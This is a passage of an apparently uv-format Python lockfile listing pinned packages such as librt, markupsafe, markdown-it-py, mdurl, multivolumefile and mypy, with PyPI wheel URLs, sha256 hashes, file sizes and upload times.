{ url = "https://files.pythonhosted.org/packages/01/96/9bc96531d7c620e9949af904470f02e3fa8f35129ab8e8f281c51eaa3788/librt-0.16.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:ad37d5b9abd49c9a655dcda7ea52a8a752884062ef1ee71ae17c2f2a0f81fe6a", size = 162018, upload-time = "2026-09-29T00:53:57.532Z" },
{ url = "https://files.pythonhosted.org/packages/0e/fa/b0289dcb186eb3f97221ba00da5f4bd3ba7fa5e99752d48aa8d336615334/librt-0.16.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2c4aa329c17bd1aaea4f6e89335d8ccd494b3a5830b6654462273e50e11023f0", size = 703983, upload-time = "2026-09-29T00:53:59.024Z" },
{ url = "https://files.pythonhosted.org/packages/d9/ab/05ebbbde7530fc5eeb58fbd1581522a9f64f132fa703c4c595eed6e14760/librt-0.16.0-cp314-cp314t-manylinux2014_i686.manylinux_2_17_i686.manylinux_2_28_i686.whl", hash = "sha256:0ead24d2562a49473dddd9efef8581f020007eb0054389c3ee3ffad38b1ca4c9", size = 683847, upload-time = "2026-09-29T00:54:00.671Z" },
{ url = "https://files.pythonhosted.org/packages/a3/75/f52aeecd4dbadbddf80725ba7de126d8bd5d0eb66247eae17a81ed90dd4d/librt-0.16.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:02118f56a9c36ddd07dfd9b919d9ecc117ba20a90987d56aa4c429fa34509188", size = 698045, upload-time = "2026-09-29T00:54:02.247Z" },
{ url = "https://files.pythonhosted.org/packages/e6/55/fa277a835cd6eb42380591ceb85f48c5b4d2b2d7e2cb9869e1e17d24d237/librt-0.16.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4e29522c62e28595ff7e324c6834ade51127707f0e255b18d1c1cf03d39c1048", size = 724640, upload-time = "2026-09-29T00:54:04.078Z" },
{ url = "https://files.pythonhosted.org/packages/25/e4/2cf64354f3fde8ebd591b3b48f96510bee24ac5f7d1e567adbbe210abdbd/librt-0.16.0-cp314-cp314t-manylinux_2_34_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3ff4b2367926b69c6215635902cccb04048e73094e9862900d27cb2c6bbff143", size = 731748, upload-time = "2026-09-29T00:54:05.741Z" },
{ url = "https://files.pythonhosted.org/packages/f8/c9/c180af3e94e01aa529fa93d7733fec2abc47f222345400cf21d5481d5f8a/librt-0.16.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:c6f1b27bf1632a7e016af9f145f82be95e1edd7721a646505c21059257cb5a04", size = 754960, upload-time = "2026-09-29T00:54:07.38Z" },
{ url = "https://files.pythonhosted.org/packages/95/d6/01073aa78c58f356b10d9c57b3fe9abb143df338142bcd316df417b89db0/librt-0.16.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:5696d7f52e7b37217cb3a8f92c744fe835942602fdd4c1a8bc4741d3bfdce15e", size = 747000, upload-time = "2026-09-29T00:54:09.06Z" },
{ url = "https://files.pythonhosted.org/packages/f7/d8/1de3783908658d697a8cfc00582f61299ffba7796d7260c112e4700b1109/librt-0.16.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:6072e92dd876ff6ceeb6cf371e35e51f479349837391341f479b08df4564242b", size = 749569, upload-time = "2026-09-29T00:54:10.702Z" },
{ url = "https://files.pythonhosted.org/packages/b7/32/e817f66c96d6caa8bb8435ff93c4c220624d59efc506be59ab98fcd01d0c/librt-0.16.0-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:39ca4f2f2fe05de8e63493da592d84311adabe5bef52b193851981da9816b302", size = 729483, upload-time = "2026-09-29T00:54:12.25Z" },
{ url = "https://files.pythonhosted.org/packages/7c/c9/23992ccd2b9d22798fdd0f61353183a47414e651da782ad83eb680f50833/librt-0.16.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:f9807485a908f00355820f18e91e045ffdcdc5adb68aaec40a1e2b88c5f7bba1", size = 776584, upload-time = "2026-09-29T00:54:13.837Z" },
{ url = "https://files.pythonhosted.org/packages/67/3b/e8af957f08e6e2e8e566b099e43d2748418aa565df6ee1d9d3331209fdfe/librt-0.16.0-cp314-cp314t-win32.whl", hash = "sha256:94be5cb7bca4df6201f4183e9e4fa2086c655283d20b38cd84500a69057575a7", size = 104402, upload-time = "2026-09-29T00:54:15.568Z" },
{ url = "https://files.pythonhosted.org/packages/ca/1c/946e6443d7cd32347a086043395e421e52fd603c9163d2ec970ceab8eed6/librt-0.16.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d46ca272b251d033dd4527b0dec5f261a28a52bd5fa0f99c117b0a1f8588cc2d", size = 126227, upload-time = "2026-09-29T00:54:17.165Z" },
{ url = "https://files.pythonhosted.org/packages/c2/a3/bc4f9959d3c62bcbf9e5fd3470a8bbd8bf33224ed4c25d7fba173201b8ac/librt-0.16.0-cp314-cp314t-win_arm64.whl", hash = "sha256:b9d6d4b14e92d876f8026b54c20c445f36425214c1081dc76f74e40db386b82b", size = 116493, upload-time = "2026-09-29T00:54:18.567Z" },
{ url = "https://files.pythonhosted.org/packages/b6/4b/10fdb42dfab4c1533e1570e686b18e86ff4328b406361b39fb3016667638/librt-0.16.0-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:6fe436af2eaf630474f491af5d032cbe45f93fcff5c3b9fe4ab194a7255b20ff", size = 149829, upload-time = "2026-09-29T00:54:19.933Z" },
{ url = "https://files.pythonhosted.org/packages/8e/30/a90ca13f1d3d91af1680000a4038536907018fbd51764767287a05d28b8b/librt-0.16.0-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:8ff5d26c529336be9bd7ae04483235d77778ee7d6444a95353102b542601ce81", size = 154522, upload-time = "2026-09-29T00:54:21.306Z" },
{ url = "https://files.pythonhosted.org/packages/5c/dd/bcf364eacfa070bb1fc88d503111ae7177914197ba1fa717c748926e7930/librt-0.16.0-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:909d8e3c1faee44cb762b1c519ff8613dcc5ceae5c99987a00917b5a31fd1d6a", size = 497593, upload-time = "2026-09-29T00:54:22.798Z" },
{ url = "https://files.pythonhosted.org/packages/18/c1/2c4e81e347bdabfe8346bfc6dc37ae5e154d61c88e30848ec0606025a5e0/librt-0.16.0-cp315-cp315-manylinux2014_i686.manylinux_2_17_i686.manylinux_2_28_i686.whl", hash = "sha256:6d4a64283ee61824b5790de882bc68e2d9d7a5143537cb7a966f7354f71646d4", size = 480459, upload-time = "2026-09-29T00:54:24.364Z" },
{ url = "https://files.pythonhosted.org/packages/ab/d7/fef2a3cb8400701be496f6e459876f650b3451f407e30cb243de571ae615/librt-0.16.0-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5810ba811297fdf37a1531a57667cb8ace0842013ca8606bf9eb7c24cf4be154", size = 507814, upload-time = "2026-09-29T00:54:25.997Z" },
{ url = "https://files.pythonhosted.org/packages/e1/6f/53762927a32e9dc9eb1d1c1f3528da281290c86d96929a8af652f671266e/librt-0.16.0-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e56aaf8c167548dc8e5d6f3bd0f48dcdd299a23c73be3f744aab79d99e9c7f5d", size = 525114, upload-time = "2026-09-29T00:54:27.747Z" },
{ url = "https://files.pythonhosted.org/packages/6c/67/0b9d031f303c4e8c691a9a8ef9d272f13b530c11cc563b819df621b6a348/librt-0.16.0-cp315-cp315-manylinux_2_34_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:8f36c58e33b304b525c6c9c5076399c6ebf1109e17b9051a05a407b091b9215b", size = 520465, upload-time = "2026-09-29T00:54:29.331Z" },
{ url = "https://files.pythonhosted.org/packages/ae/d5/2056a3a85864e882eb17a203a10ddb26fa748bc9718ec67e79059ab46cae/librt-0.16.0-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:242e00b3d4fa37c3d3c1ca5f5c9adb7d909ddb1eac9c41f2787320d00caa0af2", size = 537257, upload-time = "2026-09-29T00:54:30.915Z" },
{ url = "https://files.pythonhosted.org/packages/54/57/e0d79790c163cbc0909e209a6f62e30bb713b647f905a176cdc64848fd4d/librt-0.16.0-cp315-cp315-musllinux_1_2_i686.whl", hash = "sha256:0253721561787b8df8443eb347b7a6461015354e5bdd37ee38a41fef220d2bb0", size = 527442, upload-time = "2026-09-29T00:54:32.478Z" },
{ url = "https://files.pythonhosted.org/packages/aa/50/1c0c95aba7af51f4752ea34fbf2eb79b36e7cae3a72536248e8c735de735/librt-0.16.0-cp315-cp315-musllinux_1_2_ppc64le.whl", hash = "sha256:3e483a8d69ede8067db70c0e83007423b6925de6fd53afed01d66160f2e9398c", size = 548139, upload-time = "2026-09-29T00:54:34.183Z" },
{ url = "https://files.pythonhosted.org/packages/98/91/a8a43dd5138d4f55f88846b8f0c85454a4fad69952cebfcff9948f831290/librt-0.16.0-cp315-cp315-musllinux_1_2_riscv64.whl", hash = "sha256:69ba927445cfaaffb4081003ef5224c55a5c2ab67ef956f416ef744916e44121", size = 529708, upload-time = "2026-09-29T00:54:35.761Z" },
{ url = "https://files.pythonhosted.org/packages/2d/41/d5226881ab2b7c20d9d587b37bdd4a0ec8775a96d00ca87ac9f385587db4/librt-0.16.0-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:d6a365f2ab45a984d0e00eee0dd17f599ceab8cadab6ea07b6111c8132fc0e42", size = 567781, upload-time = "2026-09-29T00:54:37.409Z" },
{ url = "https://files.pythonhosted.org/packages/bb/bf/2345ba57a626e8c78c4ddcc724636a8df5a593fe46c1ee76bbf477e32b0d/librt-0.16.0-cp315-cp315-pyemscripten_2026_5_wasm32.whl", hash = "sha256:f01f3805f2dae4781c0c34b440e31740d082950bdaf89a6f601ad589a28af57a", size = 79177, upload-time = "2026-09-29T00:54:38.792Z" },
{ url = "https://files.pythonhosted.org/packages/1e/40/99e77936cc9207f629b077bf7cbc5e2f0827cddd7c29792f04ef881bd2c3/librt-0.16.0-cp315-cp315-win32.whl", hash = "sha256:b0e3e721c75d2e79a76d4422c79d7ba705fe1bbafec907037fe7a657a480a0e3", size = 100127, upload-time = "2026-09-29T00:54:40.251Z" },
{ url = "https://files.pythonhosted.org/packages/56/1e/801fe26bc622061b9dfd010e166d94142cb774b733217e6d98d1c0cf2638/librt-0.16.0-cp315-cp315-win_amd64.whl", hash = "sha256:bc02954b1295de798bbdb0b4e2d8a28c2117de8b5c73dcbeb27dc32572dfb971", size = 120480, upload-time = "2026-09-29T00:54:41.722Z" },
{ url = "https://files.pythonhosted.org/packages/bb/a9/d533983055bd36e112627384c2c038845d1df882540b8bcefb566475640b/librt-0.16.0-cp315-cp315-win_arm64.whl", hash = "sha256:c5db585d43449a5f54303d4b2774e45e1babd975cfe1630a3d708c0b80c3e560", size = 110915, upload-time = "2026-09-29T00:54:43.052Z" },
{ url = "https://files.pythonhosted.org/packages/55/fe/d62238fa9c653b0e0613290349467cb65711b5800e8e474f45e942a0ad95/librt-0.16.0-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:f06c689cb14afd9b612727553a5ec5a40febf113ca41c4413a2b0b334285884b", size = 159714, upload-time = "2026-09-29T00:54:44.497Z" },
{ url = "https://files.pythonhosted.org/packages/f3/ac/f31efe7818700be72ba4f9af8a80fa67c39808c8d26dacc55dc1f6f35172/librt-0.16.0-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:13b4e8aba90b0b1c82474e9844aa9ffe7ad3faa484350e1da64cb8188d903134", size = 162086, upload-time = "2026-09-29T00:54:45.968Z" },
{ url = "https://files.pythonhosted.org/packages/d9/16/4d7487bf86a9d7e8e18f37ba5538789233ea693637379b75701bd35ec9de/librt-0.16.0-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5a269c46ae327d8e6f8c1f85f7516cb52c0fa48127565a1105a4f4a05ff2a0b4", size = 712727, upload-time = "2026-09-29T00:54:47.486Z" },
{ url = "https://files.pythonhosted.org/packages/77/74/50cd550ccc1a517b9ed62347625c01ddf8c4afad66490312677c011458f6/librt-0.16.0-cp315-cp315t-manylinux2014_i686.manylinux_2_17_i686.manylinux_2_28_i686.whl", hash = "sha256:a33e0dae1f8592146a4764d54ce842b278732d21a84e17c3bbe6b1bc158a2248", size = 681106, upload-time = "2026-09-29T00:54:49.126Z" },
{ url = "https://files.pythonhosted.org/packages/df/5d/7293f712975ee6fdd2251411fd9ef1c62bc99c7b83ecbe62dbc999b1fab7/librt-0.16.0-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:47ada6ea32636492c61aa8ad27ae3b9404bfe7a97e3ba946d1984236cc741da0", size = 705921, upload-time = "2026-09-29T00:54:50.905Z" },
{ url = "https://files.pythonhosted.org/packages/67/f7/8aab946f11d59d1bece9ffc65d994b200c789a8ca5a95c17e17e609f912a/librt-0.16.0-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c43bd6e642d8a248c114327f98dd25ac5a7cb5aa168ef02f0559b91874df16b8", size = 731786, upload-time = "2026-09-29T00:54:52.584Z" },
{ url = "https://files.pythonhosted.org/packages/43/76/1c42ab31e7cb8384ebf6d3af607213c495222474f4940443ae7639ab7685/librt-0.16.0-cp315-cp315t-manylinux_2_34_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c3d1bb7841a816ace6449bb26d3f9560dbfa20e71c568d23f0f62bf1e68f50b1", size = 744964, upload-time = "2026-09-29T00:54:54.217Z" },
{ url = "https://files.pythonhosted.org/packages/6f/2e/4b19982d933d2dfced671e840b219e4c1cd3f507df6e6dabb51bbd4e3850/librt-0.16.0-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:3931f7a3db322e7f44e02a280e3949326ce9579ad388ee8d691dc7c76da9fb70", size = 765305, upload-time = "2026-09-29T00:54:55.815Z" },
{ url = "https://files.pythonhosted.org/packages/b8/1b/e872583de2dcb3ac7746e7a2321aeeb168274f3952a87dc66e05ddb29faf/librt-0.16.0-cp315-cp315t-musllinux_1_2_i686.whl", hash = "sha256:f4462528b6000afe8f16907b5c7c2553abf1df005ba5140e6eb394541c3624c3", size = 744959, upload-time = "2026-09-29T00:54:57.532Z" },
{ url = "https://files.pythonhosted.org/packages/10/de/a18c6bcfb297af2674233e90b3c3661c3a0af0f1434a0c966d2ef708a835/librt-0.16.0-cp315-cp315t-musllinux_1_2_ppc64le.whl", hash = "sha256:80039ba9b6a7d5f1a0175a4cca6bbefead87bd854c80abad1cb30afe47a830db", size = 758138, upload-time = "2026-09-29T00:54:59.484Z" },
{ url = "https://files.pythonhosted.org/packages/22/1c/0df1d732539c297bb1a093e1fe3204d2faf76a9022cf4e1d1c2fce059790/librt-0.16.0-cp315-cp315t-musllinux_1_2_riscv64.whl", hash = "sha256:7a1d272724b581bb6bc769dfdafed6da2ecc9886ba2450311de55a4ac2e1e9cd", size = 744268, upload-time = "2026-09-29T00:55:01.179Z" },
{ url = "https://files.pythonhosted.org/packages/a2/f7/ccaf31331f20c91a5bd9bd48ffc3f743f9c81bb5720cc7b2a720ca204f0a/librt-0.16.0-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:fbe4fb8c5445f7496d7f7f6bb0807875d09d47e6771ffa175fb2df2895fb86ba", size = 785783, upload-time = "2026-09-29T00:55:02.938Z" },
{ url = "https://files.pythonhosted.org/packages/c1/ea/7421d9e6db894cd6cd788b604b3394a163ded6b942052b6f96c23ccf08e1/librt-0.16.0-cp315-cp315t-win32.whl", hash = "sha256:375bfe6b572a8f6cfc398709356046173bf27e64c4c5edaf5f7062f051fb4bf9", size = 104355, upload-time = "2026-09-29T00:55:04.533Z" },
{ url = "https://files.pythonhosted.org/packages/85/6d/7c31a506eb847bc58aeb2402d58e17605e821f68ab5df5e66fe274a6df41/librt-0.16.0-cp315-cp315t-win_amd64.whl", hash = "sha256:bd3150023d3dc2bc70f3784e59ffa1140d56ddba3d8125b3d6f9f85221279bfc", size = 126134, upload-time = "2026-09-29T00:55:06.017Z" },
{ url = "https://files.pythonhosted.org/packages/36/69/7a5d10ac409c4da0355e054a14371871da9b5557fcc42772cd00181c6cce/librt-0.16.0-cp315-cp315t-win_arm64.whl", hash = "sha256:8ceafb70f2a4f0826f11031942e59c0728fd98da112dc346d4352bde1e486866", size = 116391, upload-time = "2026-09-29T00:55:07.484Z" },
]
[[package]]
name = "markdown-it-py"
version = "4.2.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "mdurl" },
]
sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49", size = 82454, upload-time = "2026-05-07T12:08:28.36Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/b3/81/4da04ced5a082363ecfa159c010d200ecbd959ae410c10c0264a38cac0f5/markdown_it_py-4.2.0-py3-none-any.whl", hash = "sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a38092641c4a", size = 91687, upload-time = "2026-05-07T12:08:27.182Z" },
]
[[package]]
name = "markupsafe"
version = "3.0.3"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/33/8a/8e42d4838cd89b7dde187011e97fe6c3af66d8c044997d2183fbd6d31352/markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe", size = 11619, upload-time = "2025-09-27T18:37:06.342Z" },
{ url = "https://files.pythonhosted.org/packages/b5/64/7660f8a4a8e53c924d0fa05dc3a55c9cee10bbd82b11c5afb27d44b096ce/markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026", size = 12029, upload-time = "2025-09-27T18:37:07.213Z" },
{ url = "https://files.pythonhosted.org/packages/da/ef/e648bfd021127bef5fa12e1720ffed0c6cbb8310c8d9bea7266337ff06de/markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737", size = 24408, upload-time = "2025-09-27T18:37:09.572Z" },
{ url = "https://files.pythonhosted.org/packages/41/3c/a36c2450754618e62008bf7435ccb0f88053e07592e6028a34776213d877/markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97", size = 23005, upload-time = "2025-09-27T18:37:10.58Z" },
{ url = "https://files.pythonhosted.org/packages/bc/20/b7fdf89a8456b099837cd1dc21974632a02a999ec9bf7ca3e490aacd98e7/markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d", size = 22048, upload-time = "2025-09-27T18:37:11.547Z" },
{ url = "https://files.pythonhosted.org/packages/9a/a7/591f592afdc734f47db08a75793a55d7fbcc6902a723ae4cfbab61010cc5/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda", size = 23821, upload-time = "2025-09-27T18:37:12.48Z" },
{ url = "https://files.pythonhosted.org/packages/7d/33/45b24e4f44195b26521bc6f1a82197118f74df348556594bd2262bda1038/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf", size = 21606, upload-time = "2025-09-27T18:37:13.485Z" },
{ url = "https://files.pythonhosted.org/packages/ff/0e/53dfaca23a69fbfbbf17a4b64072090e70717344c52eaaaa9c5ddff1e5f0/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe", size = 23043, upload-time = "2025-09-27T18:37:14.408Z" },
{ url = "https://files.pythonhosted.org/packages/46/11/f333a06fc16236d5238bfe74daccbca41459dcd8d1fa952e8fbd5dccfb70/markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9", size = 14747, upload-time = "2025-09-27T18:37:15.36Z" },
{ url = "https://files.pythonhosted.org/packages/28/52/182836104b33b444e400b14f797212f720cbc9ed6ba34c800639d154e821/markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581", size = 15341, upload-time = "2025-09-27T18:37:16.496Z" },
{ url = "https://files.pythonhosted.org/packages/6f/18/acf23e91bd94fd7b3031558b1f013adfa21a8e407a3fdb32745538730382/markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4", size = 14073, upload-time = "2025-09-27T18:37:17.476Z" },
{ url = "https://files.pythonhosted.org/packages/3c/f0/57689aa4076e1b43b15fdfa646b04653969d50cf30c32a102762be2485da/markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab", size = 11661, upload-time = "2025-09-27T18:37:18.453Z" },
{ url = "https://files.pythonhosted.org/packages/89/c3/2e67a7ca217c6912985ec766c6393b636fb0c2344443ff9d91404dc4c79f/markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175", size = 12069, upload-time = "2025-09-27T18:37:19.332Z" },
{ url = "https://files.pythonhosted.org/packages/f0/00/be561dce4e6ca66b15276e184ce4b8aec61fe83662cce2f7d72bd3249d28/markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634", size = 25670, upload-time = "2025-09-27T18:37:20.245Z" },
{ url = "https://files.pythonhosted.org/packages/50/09/c419f6f5a92e5fadde27efd190eca90f05e1261b10dbd8cbcb39cd8ea1dc/markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50", size = 23598, upload-time = "2025-09-27T18:37:21.177Z" },
{ url = "https://files.pythonhosted.org/packages/22/44/a0681611106e0b2921b3033fc19bc53323e0b50bc70cffdd19f7d679bb66/markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e", size = 23261, upload-time = "2025-09-27T18:37:22.167Z" },
{ url = "https://files.pythonhosted.org/packages/5f/57/1b0b3f100259dc9fffe780cfb60d4be71375510e435efec3d116b6436d43/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5", size = 24835, upload-time = "2025-09-27T18:37:23.296Z" },
{ url = "https://files.pythonhosted.org/packages/26/6a/4bf6d0c97c4920f1597cc14dd720705eca0bf7c787aebc6bb4d1bead5388/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523", size = 22733, upload-time = "2025-09-27T18:37:24.237Z" },
{ url = "https://files.pythonhosted.org/packages/14/c7/ca723101509b518797fedc2fdf79ba57f886b4aca8a7d31857ba3ee8281f/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc", size = 23672, upload-time = "2025-09-27T18:37:25.271Z" },
{ url = "https://files.pythonhosted.org/packages/fb/df/5bd7a48c256faecd1d36edc13133e51397e41b73bb77e1a69deab746ebac/markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d", size = 14819, upload-time = "2025-09-27T18:37:26.285Z" },
{ url = "https://files.pythonhosted.org/packages/1a/8a/0402ba61a2f16038b48b39bccca271134be00c5c9f0f623208399333c448/markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9", size = 15426, upload-time = "2025-09-27T18:37:27.316Z" },
{ url = "https://files.pythonhosted.org/packages/70/bc/6f1c2f612465f5fa89b95bead1f44dcb607670fd42891d8fdcd5d039f4f4/markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa", size = 14146, upload-time = "2025-09-27T18:37:28.327Z" },
]
[[package]]
name = "mdurl"
version = "0.1.2"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" },
]
[[package]]
name = "multivolumefile"
version = "0.2.3"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/50/f0/a7786212b5a4cb9ba05ae84a2bbd11d1d0279523aea0424b6d981d652a14/multivolumefile-0.2.3.tar.gz", hash = "sha256:a0648d0aafbc96e59198d5c17e9acad7eb531abea51035d08ce8060dcad709d6", size = 77984, upload-time = "2021-04-29T12:18:39.882Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/22/31/ec5f46fd4c83185b806aa9c736e228cb780f13990a9cf4da0beb70025fcc/multivolumefile-0.2.3-py3-none-any.whl", hash = "sha256:237f4353b60af1703087cf7725755a1f6fcaeeea48421e1896940cd1c920d678", size = 17037, upload-time = "2021-04-29T12:18:38.886Z" },
]
[[package]]
name = "mypy"
version = "2.3.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "ast-serialize" },
{ name = "librt", marker = "platform_python_implementation != 'PyPy'" },
{ name = "mypy-extensions" },
{ name = "pathspec" },
{ name = "typing-extensions" },
]
sdist = { url = "https://files.pythonhosted.org/packages/82/6a/878cc1097d4035f82bd516658d0c528d2a9955bc7b363afcbd0b07fea11b/mypy-2.3.1.tar.gz", hash = "sha256:47c1b1207258513a9d93495f69c8be9de73916186f0e52703e8c461b7a623419", size = 3992554, upload-time = "2026-08-15T03:03:38.549Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/be/c4/42a49d44aeff804edf1b19acce0b49e8bd1a9c57dee9605dd8d980aa43d7/mypy-2.3.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:192abaedf75da1bc0b1cef104927e70ec49c1ef0031cc4825c7ee10a438ed24d", size = 13986778, upload-time = "2026-08-15T03:01:33.69Z" },
{ url = "https://files.pythonhosted.org/packages/45/13/9331fd2dfed7194d66c5304072894a8be3e51e9deda6863c1eceaa35a43d/mypy-2.3.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bf678dffd16efcda2c15cbd30e9ecc0081388e29ea23687a88e686ed92638dc3", size = 14188467, upload-time = "2026-08-15T03:02:40.554Z" },
{ url = "https://files.pythonhosted.org/packages/78/f7/f4a34edab45667c5465855dc585a20e87978ffa8aee711445b7239d120c6/mypy-2.3.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e036f06b41630f4c8a1d48f9ac6aa26acc65f8be089973f5519da643318f03f", size = 15225538, upload-time = "2026-08-15T03:03:09.761Z" },
